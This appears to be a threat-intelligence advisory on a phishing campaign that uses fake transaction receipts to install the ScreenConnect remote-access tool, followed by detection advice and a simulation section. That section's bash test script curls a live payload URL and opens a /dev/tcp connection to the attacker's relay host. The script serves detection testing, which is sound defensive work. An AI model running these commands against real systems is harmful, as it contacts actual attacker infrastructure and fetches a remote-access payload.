Malware Phishing/Scam: Phishing Emails Disguised as Transaction Receipts

Summary

Threat actors are sending phishing emails that impersonate employees of U.S. companies and include attachments disguised as transaction receipts. The attack uses a malicious PDF to lure users into downloading a supposed Adobe Flash Player update that actually launches a VBScript. The script then installs the legitimate ScreenConnect remote management tool to establish persistent remote access for follow-on activity.

Investigation

AhnLab Security Intelligence Center (ASEC) identified the campaign by examining the phishing email content and behavior of the attached PDF. The investigation traced the execution chain from the malicious VBScript to background payload retrieval and silent installation of an MSI package using curl.exe and msiexec.exe.

Mitigation

Users should be trained to recognize phishing attempts involving unexpected transaction receipts and prompts to install software updates such as Adobe Flash Player. Organizations should restrict VBScript execution and monitor for unauthorized use of remote management tools including ScreenConnect. Application allowlisting can also help prevent unknown or unapproved MSI packages from executing.

Response

If malicious activity is detected, the affected system should be isolated immediately to prevent remote access through ScreenConnect. Responders should terminate active sessions associated with relay.Gamedbd.Com infrastructure and inspect the registry for stored session information. A full forensic investigation should also determine whether lateral movement or data exfiltration occurred through the remote management tool.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary initiates a phishing campaign by sending an email regarding a failed transaction. The link directs the victim to https://transaction-sucessful.vercel.app, which hosts a fake receipt. When the victim clicks “Download Receipt,” the browser attempts to fetch https://payment-six-eta.vercel.app/doc/sc.msi. Once the payload is executed, it attempts to establish a remote access session by connecting to the ScreenConnect relay at relay.gamedbd.com:8041. This sequence tests both the URL-based detection and the domain/port-based detection logic.

• Regression Test Script:

  #!/bin/bash
  # Simulation script to trigger the Phishing/ScreenConnect detection rule
  
  echo "[+] Starting Simulation: Phishing/ScreenConnect Detection Test"
  
  # 1. Simulate the download of the malicious MSI from the Vercel URL
  echo "[+] Step 1: Simulating connection to malicious Vercel URL..."
  curl -s -o /dev/null "https://payment-six-eta.vercel.app/doc/sc.msi"
  
  # 2. Simulate the connection to the specific ScreenConnect relay domain/port
  echo "[+] Step 2: Simulating connection to malicious ScreenConnect relay..."
  # We use /dev/tcp to simulate a connection attempt without needing a real listener
  timeout 2 bash -c 'cat < /dev/null > /dev/tcp/relay.gamedbd.com/8041' 2>/dev/null
  
  echo "[+] Simulation Complete. Check SIEM for alerts."

• Cleanup Commands:

  # No persistent artifacts are created by this network-based simulation.
  # If any local files were downloaded, they should be removed:
  rm -f sc.msi
  echo "[+] Cleanup complete."